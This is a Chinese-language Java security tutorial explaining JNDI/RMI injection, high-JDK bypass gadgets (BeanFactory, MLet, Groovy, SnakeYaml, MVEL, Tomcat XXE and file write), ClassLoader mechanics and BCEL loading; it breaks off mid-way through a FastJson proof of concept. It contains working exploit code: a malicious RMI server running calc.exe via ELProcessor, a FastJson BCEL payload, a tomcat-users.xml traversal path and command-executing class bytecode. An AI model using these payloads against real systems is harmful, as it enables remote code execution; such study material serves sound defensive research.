Java安全杂烩(一)

Java安全杂烩(一)

0x01.JNDI在RMI中协议面临的攻击面

在RMI中,服务端可以绑定一个对象,客户端查找该对象时以序列化数据返回,服务端也同样支持绑定对象的引用,返回给客户端指定地址以获得这个对象

如下图所示,我们构建一个恶意的服务端,并且绑定了一个对象引用(注意这里的类应为全称):

upload_f10a3bb84f4921e0d914aefa69a1d579

当客户端进行lookup rmi://127.0.0.1:1099/Foo时得到实例化的对象

这里使用的是 JDK 1.8.0-181,com.sun.jndi.rmi.registry.ReferenceWrapper 在新版本的 JDK 中被移除,需要额外引入对应jar包。

EvilClass的定义如下:

upload_148994d79182d0c11ea85f962b7c918e

将编译好的class文件放置在对应的WEB目录下,这里使用Python起一个端口为5000的SimpleHTTPServer

随后我们构建客户端进行Lookup操作:

upload_09599d7705772140d81c918de7c11e16

可以看到客户端的输出如下:
upload_be9fdddd8f3ce0ec21431d6e5d9bf109

忽略掉执行顺序,这里还执行了EvilClass类的getObjectInstance方法,相关代码在com/sun/jndi/rmi/registry/RegistryContext.java中,这里在decodeObject下断点动调:
upload_908bf557be736735c8b5a0a81828e4b0

如果要解码的对象var1是远程引用,就需要先解引用然后再调用NamingManager.getObjectInstance方法,继续跟进发现该方法会实例化对应的 ObjectFactory类并调用其getObjectInstance方法,这也符合我们前面打印的 EvilClass的执行顺序。
upload_14fb9bdb6dd7eb24c020173b17a33e23

在前文所述中,使用环境为JDK8,并且版本小于8u121,当使用JDK13时重复如上操作,会发现存在如下问题:

upload_f88ceac3132eb8206b19a014ba6bc92d

这个限制在JDK 8u121、7u131、6u141版本时加入。因此如果JDK高于这些版本,默认是不信任远程代码的,因此也就无法加载远程RMI代码。

继续深究
继续动调:

upload_aae01bf50072194e86fa329ec3bcf682

前半部分的处理是一样的,要解码的对象r是远程引用,就需要先解引用然后再调用 NamingManager.getObjectInstance,其中会实例化对应的ObjectFactory类并调用其 getObjectInstance方法,而在第二个框中则可以看到此前抛出的异常,为了绕过这里 ConfigurationException的限制,我们有三种方法:

  • 1.令ref 为空
  • 2.令ref.getFactoryClassLocation() 为空,
  • 3.令trustURLCodebase 为 true
    其中可行的方法其实为后两种,因为当ref==null意味着ref不是远程引用,客户端需要在本地实例化,这样远程RMI则没有操作空间,不好进行利用

针对第二种方法,这里要清楚getFactoryClassLocation方法,回到Reference类的构造方法:

upload_9c9dfa5b44e8059339c2cca9c07379e3

这个属性表示引用所指向对象的对应factory名称,对于远程代码加载而言是codebase,即远程代码的URL地址,如果对应的 factory 是本地代码,则该值为空

在这里继续往下,分析NamingManager的解析过程:

public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                        Hashtable<?,?> environment)
    throws Exception
{
    // ...
    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                                                    environment);
            }
            // No factory found, so return original refInfo.
            // Will reach this point if factory class is not in
            // class path and reference does not contain a URL for it
            return refInfo;

        } else {
            // if reference has no factory, check for addresses
            // containing URLs

            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
    }

    // try using any specified factories
    answer =
        createObjectFromFactories(refInfo, name, nameCtx, environment);
    return (answer != null) ? answer : refInfo;
}

首先调用ref.getFactoryClassName获得对应的工厂类,如果为空则通过网络去请求,即前文的情况,否则实例化该工厂类,并通过该工厂类去实例化一个对象并返回。

分析到这里,对于高JDK版本的绕过方式已经呼之欲出了,我们可以指定一个存在于目标classpath中的工厂类名称,交给该工厂来实例化恶意对象,从而间接实现一定的代码控制。

BeanFactory

这里分析一个最为常用的Gadget:org.apache.naming.factory.BeanFactory,相关文档参考

上文说到实例化该工厂类后调用getObjectInstance来实例化一个对象并且返回,因此在这里分析BeanFactory的这个方法:

public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                Hashtable<?,?> environment)
    throws NamingException {

    Reference ref = (Reference) obj;
    String beanClassName = ref.getClassName();
    ClassLoader tcl = Thread.currentThread().getContextClassLoader();
    // 1. 反射获取类对象
    if (tcl != null) {
        beanClass = tcl.loadClass(beanClassName);
    } else {
        beanClass = Class.forName(beanClassName);
    }
    // 2. 初始化类实例
    Object bean = beanClass.getConstructor().newInstance();

    // 3. 根据 Reference 的属性查找 setter 方法的别名
    RefAddr ra = ref.get("forceString");
    String value = (String)ra.getContent();

    // 4. 循环解析别名并保存到字典中
    for (String param: value.split(",")) {
        param = param.trim();
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                param.substring(1);
        }
        forced.put(param, beanClass.getMethod(setterName, paramTypes));
    }

    // 5. 解析所有属性,并根据别名去调用 setter 方法
    Enumeration<RefAddr> e = ref.getAll();
    while (e.hasMoreElements()) {
        ra = e.nextElement();
        String propName = ra.getType();
        String value = (String)ra.getContent();
        Object[] valueArray = new Object[1];
        Method method = forced.get(propName);
        if (method != null) {
            valueArray[0] = value;
            method.invoke(bean, valueArray);
        }
        // ...
    }
}

通过在返回给客户端的Reference对象的forceString字段指定setter方法的别名,并在后续初始化过程中进行调用。forceString 的格式为a=foo,bar,以逗号分隔每个需要设置的属性,如果包含等号,则对应的setter方法为等号后的值foo,如果不包含等号,则 setter方法为默认值setBar

这里便存在任意类方法调用,构造如下代码:

public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe', '/c', 'calc.exe']).start()")"));
            ReferenceWrapper wrapper = new ReferenceWrapper(ref);
            registry.bind("calc",wrapper);
        }catch (Exception e){
            System.out.println(e.toString());
        }
    }

ResourceRef 在 tomcat 中表示某个资源的引用,其构造函数参数如下:

public ResourceRef(String resourceClass, String description, String scope, String auth, boolean singleton) {
        this(resourceClass, description, scope, auth, singleton, (String)null, (String)null);
    }

因此在这里我们制定的实际资源类是javax.el.ELProcessor,工厂类是apache.naming.factory.BeanFactory,继续动调:

upload_f46ddef177f1d1ada64936a09ee5d8dc

首先如上文所述,这里绕过ConfigurationException的限制,实例化BeanFactory后调用该类的getObjectInstance方法:
upload_5f10ba7dd920535a4efcdf6cdafd012a

最终会指定ELProcessor类的eval方法,并且通过反射调用的方式执行命令:

upload_d9d78f48decd6c627e283d677b4812a2

MLet

我们在找寻合适利用类的时候需要找寻满足以下3个条件的类:

  • 1.JDK或者常用库的类
  • 2.有public修饰的无参构造方法
  • 3.public修饰的只有一个String.class类型参数的方法,且该方法可以造成漏洞

其中javax.management.loading.MLet符合这三个条件,并且该类存在addURL和loadClass方法,因为该类继承自URLClassLoader,因此可以构造如下去加载远程类

MLet mLet = new MLet();
mLet.addURL("http://127.0.0.1:2333/");
mLet.loadClass("Exploit");

执行远程类的代码必须经过初始化或者实例化,单靠ClassLoader.loadClass无法触发 static代码块,所以这里暂时没法RCE,但是可以用来探测ClassPath中的Gadget,我们可以将需要探测的gadget作为第一次累加载,如果本地没有这个Gadget,则会抛出异常,如果有则继续加载我们的远程类,通过远程类是否被请求即可判断:

upload_ccb54dd1b019ac69ca016089b8d4df91

而当如果目标ClassPath中不存在该类,则直接抛出异常,不会对后续的远程类加载

upload_6d7768f6221c6b04007588b24def6b87

GroovyClassLoader & GroovyShell

GroovyShell允许在Java类中(甚至Groovy类)解析任意Groovy表达式的值。

import groovy.lang.GroovyShell;

public class GroovyShellExample {
    public static void main( String[] args ) {
        GroovyShell groovyShell = new GroovyShell();
        groovyShell.evaluate(""calc".execute()");
    }
}

通过groovyShell.evaluate方法即可执行命令:

upload_c82c150382da1d68921c37c17e884ddc

SnakeYaml

SnakeYaml比Groovy更常见,new org.yaml.snakeyaml.Yaml().load(String)也刚好符合条件,SnakeYAML是Java用于解析yaml格式数据的类库, 它提供了dump()将java对象转为yaml格式字符串,load()将yaml字符串转为java对象,常见利用是通过ScriptEngineManager去调用URLClassLoader加载远程类实现RCE:

upload_c75b09241049dc6052e1934b4a734b9c

MVEL

MVEL是一种用于Java应用程序,类似于OGNL的表达式语言。
MVEL不仅非常小和敏捷,而且它的语法易于阅读与EL 或OGNL比起来更像Java。
比如静态方法和属性的引用方式与Java一样,赋值也非常像Java

这里利用的是org.mvel2.sh.ShellSession类的exec方法:

upload_72eb72f27097aa90806334a33589ea42

动调一下,在exec下断点后:

upload_b1eb6e157aaac10bdac22db5b079f0f9

这里内置了几个Command,并且exec的参数必须在这些Command之中,才会进入后续execute方法,这里重点查看push Command的处理流程:

upload_4d82143a2a32291355e22475f64d6756

org.mvel2.sh.command.basic.PushContext有调用MVEL.eval去解析表达式,对应的命令就是push,而其他命令并不会调用MVEL.eval进行解析:

以ls为例,甚至不会使用到参数

upload_d7d77681dbe6b5636c75547310c4f3e4

因此能够通过ShellSession.exec(String)去执行push命令,从而解析MVEL表达式来实现命令执行

XXE & RCE Gadget

在所有实现javax.naming.spi.ObjectFactory抽象类的类中,找寻到Tomcat的一个工厂类:org.apache.catalina.users.MemoryUserDatabaseFactory,看一下这个类的getObjectInstance实现:

upload_78c3b11221bf635998149aee08a67e62

这里要求实际类为org.apache.catalina.UserDatabase,并且从中获得pathnamereadonly两个属性,调用open方法,当readonly=false时调用save方法:

upload_f1e83cafd31b295b52ad355142449bed

使用digester解析,Digester是一款用于将XML转换为Java对象的事件驱动型工具,是对SAX的高层次封装,它提供了更加友好的接口,隐藏了XML节点具体的层次细节,使开发者可以更加专注于处理过程。

这里涉及到XML格式,存在XXE漏洞

upload_a9ecc79fc81d0e6d52543944bdfbd48d

最终通过Digester解析,触发XXE:
upload_8314b7ea7a31a9fc85e1d5ecbb99d03b

如何RCE
前文说到save方法是保存相关数据,很有可能涉及到文件写的操作,因此在这里我们重点关注save的处理:

upload_61df561e7ec2f5f1f69bf7736429249d

其中需要跳到第三个else分支,而第一个分支可以通过增加readonly=true的属性绕过,来看第二个if分支:

upload_4b9afa09952c8091e7bf10f9359421ac

这里实际上进行了拼接,如果是远程URL的话这里把catalina.base+pathname组成文件名去实例化了一个File对象,所以这个目录必然不存在、不是目录、不可写,这个时候就得想到目录穿越,试想构造Payload如下:

CATALINA.BASE=/usr/apache-tomcat-8.5.73/,pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml

其组成的文件路径为:/usr/apache-tomcat-8.5.73/http://127.0.0.1:8888/../../conf/tomcat-users.xml
这种情况对于Windows系统而言是没有问题的

upload_f4513394f35ab4e8e397cc5919a6cbfd

为了更好的熟悉控制写文件的操作,我们这里使用本地的一个路径进行调试:

upload_f8c9860a816965578f3fae92d9bb0b79

这里没有部署Tomcat,因此System.getProperty("catalina.base")=NULL,代表没有进行路径的拼接,此时isWritable=true

upload_8523d1ad4b3894fe37814c628b416bf5

前面这部分会先把事先在 open() 方法就解析好的 users、groups、roles都写入到 pathnameNew这个文件里,这个文件就是pathname + .new,但最终会将这个改名为之前的pathname,然后删掉.new文件:

upload_607aba5c5bafbbf86589e6e403e3f65f

而在Linux环境下,需要考虑到路径跳转的问题,必须先通过Gadget创建http:目录,和其子目录http://xxx.xxx.xx.x/,这个地址为我们想让服务器下载文件的远程地址,在这样的条件下,Linux环境下isWriteable()的校验才会通过

创建Tomcat管理员
写WEBSHELL

这两个部分参考浅蓝师傅的文章:
https://tttang.com/archive/1405/#toc_xxe

0x02. ClassLoader

一切的Java类都必须经过JVM加载后才能运行,而ClassLoader的主要作用就是Java类文件的加载。在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)、Extension ClassLoader(扩展类加载器)、App ClassLoader(系统类加载器),AppClassLoader是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader加载类,ClassLoader.getSystemClassLoader()返回的系统类加载器也是AppClassLoader。

值得注意的是某些时候我们获取一个类的类加载器时候可能会返回一个null值,如:java.io.File.class.getClassLoader()将返回一个null对象,因为java.io.File类在JVM初始化的时候会被Bootstrap ClassLoader(引导类加载器)加载(该类加载器实现于JVM层,采用C++编写),我们在尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null。

我们来看一下ClassLoader类(java.lang.ClassLoader)加载的流程:

upload_78a2e32d9777e8d977dd9c61d3ac6e7c

  • 1.调用findLoadedClass方法检查类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。
  • 2.如果创建当前ClassLoader时传入了父类加载器,如果有父类加载器就使用父类加载器加载类,否则使用JVM的Bootstrap ClassLoader加载。
  • 3.如果上一步无法加载类,那么调用自身的findClass方法尝试加载。
  • 4.如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类
  • 5.如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。
  • 6.返回一个被JVM加载后的java.lang.Class类对象

自定义ClassLoader加载类

java.lang.ClassLoader是所有的类加载器的父类,java.lang.ClassLoader有非常多的子类加载器,比如我们用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。

因此我们可以自实现一个ClassLoader来加载我们制定类,这里我们需要继承ClassLoader类,并且给出class的字节码,调用JVM native来注册该Class类:

package ClassLoad;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;

public class HelloClassLoader  extends  ClassLoader{
    public byte[] toByteArray(String filePath) throws IOException {
        InputStream inputStream = new FileInputStream(filePath);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] bytes = new byte[1024 * 4];
        int n = 0;
        while ((n = inputStream.read(bytes)) != -1) {
            baos.write(bytes, 0, n);
        }
        inputStream.close();
        return baos.toByteArray();
    }
    public static String helloClass = "ClassLoad.hello";
    // Hello类字节码
    private static byte[] helloClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 57, 0, 17, 10, 0, 2, 0, 3, 7, 0, 4, 12, 0, 5, 0, 6, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 8, 0, 8, 1, 0, 12, 104, 101, 108, 108, 111, 32, 99, 114, 105, 115, 112, 114, 7, 0, 10, 1, 0, 15, 67, 108, 97, 115, 115, 76, 111, 97, 100, 47, 104, 101, 108, 108, 111, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 10, 104, 101, 108, 108, 111, 46, 106, 97, 118, 97, 0, 33, 0, 9, 0, 2, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 11, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 1, 0, 13, 0, 14, 0, 1, 0, 11, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 7, -80, 0, 0, 0, 1, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16
    };
    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        if(name.equals(helloClass)){
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(helloClass,helloClassBytes,0,helloClassBytes.length);
        }
        return super.findClass(name);
    }

    public static void main(String[] args) {
        try {
            HelloClassLoader loader = new HelloClassLoader();
            Class hello = loader.findClass("ClassLoad.hello");
            // 利用反射实例化该类并且得到该类的hello方法
            Object helloInstance = hello.newInstance();
            Method method = helloInstance.getClass().getMethod("hello");
            String helloStr = (String)method.invoke(helloInstance);
            System.out.println("method return: " + helloStr);
        }catch (Exception e){
            System.out.println(e.toString());
        }
    }

}

upload_4b2eed03c29ae83c08317c29b2eff495

ClassLoader的类隔离加载机制

创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader是有隔离机制的,不同的ClassLoader可以加载相同的Class(两则必须是非继承关系),同级ClassLoader跨类加载器调用方法时必须使用反射。

upload_3fdc3c00863eb4a606e99626e3531a7d

下面我们实现一个跨类加载器加载的例子,需要注意的一个基本原则:

ClassLoader A和ClassLoader B可以加载相同类名的类,但是ClassLoader A中的Class A和ClassLoader B中的Class A是完全不同的对象,两者之间调用只能通过反射。

package ClassLoad;

import java.io.*;
import java.lang.reflect.Method;

public class HelloClassLoader  extends  ClassLoader{
    public byte[] toByteArray(String filePath) throws IOException {
        InputStream inputStream = new FileInputStream(filePath);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] bytes = new byte[1024 * 4];
        int n = 0;
        while ((n = inputStream.read(bytes)) != -1) {
            baos.write(bytes, 0, n);
        }
        inputStream.close();
        return baos.toByteArray();
    }
    public static String helloClass = "ClassLoad.hello";
    // Hello类字节码
    private static byte[] helloClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 57, 0, 17, 10, 0, 2, 0, 3, 7, 0, 4, 12, 0, 5, 0, 6, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 8, 0, 8, 1, 0, 12, 104, 101, 108, 108, 111, 32, 99, 114, 105, 115, 112, 114, 7, 0, 10, 1, 0, 15, 67, 108, 97, 115, 115, 76, 111, 97, 100, 47, 104, 101, 108, 108, 111, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 10, 104, 101, 108, 108, 111, 46, 106, 97, 118, 97, 0, 33, 0, 9, 0, 2, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 11, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 1, 0, 13, 0, 14, 0, 1, 0, 11, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 7, -80, 0, 0, 0, 1, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16
    };
    public static class ClassLoaderA extends ClassLoader{
        public ClassLoaderA(ClassLoader parent){
            super(parent);
        }
        @Override
        protected Class<?> findClass(String name) throws ClassNotFoundException {
            if(name.equals(helloClass)){
                // 调用JVM的native方法定义TestHelloWorld类
                return defineClass(helloClass,helloClassBytes,0,helloClassBytes.length);
            }
            return super.findClass(name);
        }
    }

    public static class ClassLoaderB extends ClassLoader{
        public ClassLoaderB(ClassLoader parent){
            super(parent);
        }
        @Override
        protected Class<?> findClass(String name) throws ClassNotFoundException {
            if(name.equals(helloClass)){
                // 调用JVM的native方法定义TestHelloWorld类
                return defineClass(helloClass,helloClassBytes,0,helloClassBytes.length);
            }
            return super.findClass(name);
        }
    }

    public static void main(String[] args) {
        try {
            ClassLoader loader = ClassLoader.getSystemClassLoader();
            ClassLoaderA loaderA = new ClassLoaderA(loader);
            ClassLoaderB loaderB = new ClassLoaderB(loader);
            // 使用同级但不同加载器加载同一个类
            Class aClass = loaderA.findClass("ClassLoad.hello");
            Class bClass = loaderB.findClass("ClassLoad.hello");
            // 比较两个类是否相同
            System.out.println("cClass == bClass: " + (aClass == bClass));
            // 获取类的所有方法
            Method[] methods = aClass.getDeclaredMethods();
            for (Method method: methods){
                System.out.println("method: " + method.toString());
            }
            //反射调用该类
            Method hello = aClass.getMethod("hello");
            String h = (String)hello.invoke(aClass.newInstance());
            System.out.println("reflection method hello return: " + h);

        }catch (Exception e){
            System.out.println(e.toString());
        }
    }

}

upload_1bfab437e1501c8ad4d207d301a16d22

可以看到不同类加载器加载同一个类后,其实是不相等的

BCEL ClassLoader

BCEL是一个用于分析、创建和操纵Java类文件的工具库,Oracle JDK引用了BCEL库,不过修改了原包名org.apache.bcel.util.ClassLoadercom.sun.org.apache.bcel.internal.util.ClassLoader,BCEL的类加载器在解析类名时会对ClassName中有$$BCEL$$标识的类做特殊处理,该特性经常被用于编写各类攻击Payload。
BCEL编码和解码
先对类字节码进行encode,然后进行解码:

package ClassLoad;

import org.apache.bcel.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;
import java.lang.reflect.Array;
import java.util.Arrays;

public class BCELLoad {
    private static byte[] helloClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 57, 0, 17, 10, 0, 2, 0, 3, 7, 0, 4, 12, 0, 5, 0, 6, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 8, 0, 8, 1, 0, 12, 104, 101, 108, 108, 111, 32, 99, 114, 105, 115, 112, 114, 7, 0, 10, 1, 0, 15, 67, 108, 97, 115, 115, 76, 111, 97, 100, 47, 104, 101, 108, 108, 111, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 10, 104, 101, 108, 108, 111, 46, 106, 97, 118, 97, 0, 33, 0, 9, 0, 2, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 11, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 1, 0, 13, 0, 14, 0, 1, 0, 11, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 7, -80, 0, 0, 0, 1, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16
    };

    public static byte[] getClassBytes(){
        return helloClassBytes;
    }

    public String encode(byte[] classByte) throws IOException {
        return "$$BCEL$$" + Utility.encode(classByte,false);
    }

    public byte[] decode(String classString) throws IOException{
        int index = classString.indexOf("$$BCEL$$");
        String realName = classString.substring(index + 8);
        byte[] bytes = com.sun.org.apache.bcel.internal.classfile.Utility.decode(realName, false);
        return bytes;
    }

    public static void main(String[] args) throws IOException{
        BCELLoad load = new BCELLoad();
        byte[] classbytes = load.getClassBytes();
        String encode = load.encode(classbytes);
        System.out.println("encode Class byte: " + encode);
        byte[] decode = load.decode(encode);
        System.out.println("decode Class byte: " + Arrays.toString(decode));
    }
}

upload_47050c1b74851b8e124cf9f6543ea457

下面进行动调,当使用com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass时:

upload_0fc55762e7fb3515ff1520bfebf58b3e

可以看到这里将编码字符串进行解码,转为类字节码数组后,调用parse
upload_6c27286205dda5903d3fe0140d11793c

随后获取该类字节码数组,调用向JVM注册该类对象:
upload_525ae04c88b3e4af2df71fa2dadfd64b

同样可以通过反射调用对象的方法:

upload_b6ab3c3d8d452322768f098a675fad82

兼容性问题
BCEL这个特性仅适用于BCEL 6.0以下,因为从6.0开始org.apache.bcel.classfile.ConstantUtf8#setBytes就已经过时了,如下:

/**
* @param bytes the raw bytes of this Utf-8
* @deprecated (since 6.0)
*/
@java.lang.Deprecated
public final void setBytes( final String bytes ) {
  throw new UnsupportedOperationException();
}

Oracle自带的BCEL是修改了原始的包名,因此也有兼容性问题,已知支持该特性的JDK版本为:JDK1.5 - 1.7、JDK8 - JDK8u241、JDK9

因此当使用JDK13执行时会出现异常:

upload_321947a617c8f041e9835f7f5f1c2122

BCEL FastJson攻击链分析

Fastjson(1.1.15 - 1.2.4)可以使用其中有个dbcp的Payload就是利用了BCEL攻击链,利用代码如下:

{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassName":"BCEL_ENCODE_CLASS_NAME","driverClassLoader":{"@type":"org.apache.bcel.util.ClassLoader"}}

FastJson自动调用setter方法修改org.apache.commons.dbcp.BasicDataSource类的driverClassNamedriverClassLoader值,driverClassName是经过BCEL编码后的hello类字节码,driverClassLoader是一个由FastJson创建的org.apache.bcel.util.ClassLoader实例。

关于FastJson的漏洞,后续在学习...

先贴一下Poc:

package ClassLoad;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.apache.bcel.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.InvocationTargetException;
import java.util.Arrays;
import java.util.LinkedHashMap;
import java.util.Map;

public class BCELLoad {
    private static byte[] helloClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 52, 0, 37, 10, 0, 9, 0, 21, 8, 0, 22, 10, 0, 23, 0, 24, 8, 0, 25, 10, 0, 23, 0, 26, 7, 0, 27, 10, 0, 6, 0, 28, 7, 0, 29, 7, 0, 30, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 8, 60, 99, 108, 105, 110, 105, 116, 62, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 27, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 10, 104, 101, 108, 108, 111, 46, 106, 97, 118, 97, 12, 0, 10, 0, 11, 1, 0, 12, 104, 101, 108, 108, 111, 32, 99, 114, 105, 115, 112, 114, 7, 0, 31, 12, 0, 32, 0, 33, 1, 0, 8, 99, 97, 108, 99, 46, 101, 120, 101, 12, 0, 34, 0, 35, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 36, 0, 11, 1, 0, 15, 67, 108, 97, 115, 115, 76, 111, 97, 100, 47, 104, 101, 108, 108, 111, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 0, 33, 0, 8, 0, 9, 0, 0, 0, 0, 0, 3, 0, 1, 0, 10, 0, 11, 0, 1, 0, 12, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 13, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 1, 0, 14, 0, 15, 0, 1, 0, 12, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 13, 0, 0, 0, 6, 0, 1, 0, 0, 0, 14, 0, 8, 0, 16, 0, 11, 0, 1, 0, 12, 0, 0, 0, 79, 0, 2, 0, 1, 0, 0, 0, 18, -72, 0, 3, 18, 4, -74, 0, 5, 87, -89, 0, 8, 75, 42, -74, 0, 7, -79, 0, 1, 0, 0, 0, 9, 0, 12, 0, 6, 0, 2, 0, 13, 0, 0, 0, 22, 0, 5, 0, 0, 0, 8, 0, 9, 0, 11, 0, 12, 0, 9, 0, 13, 0, 10, 0, 17, 0, 12, 0, 17, 0, 0, 0, 7, 0, 2, 76, 7, 0, 18, 4, 0, 1, 0, 19, 0, 0, 0, 2, 0, 20
};

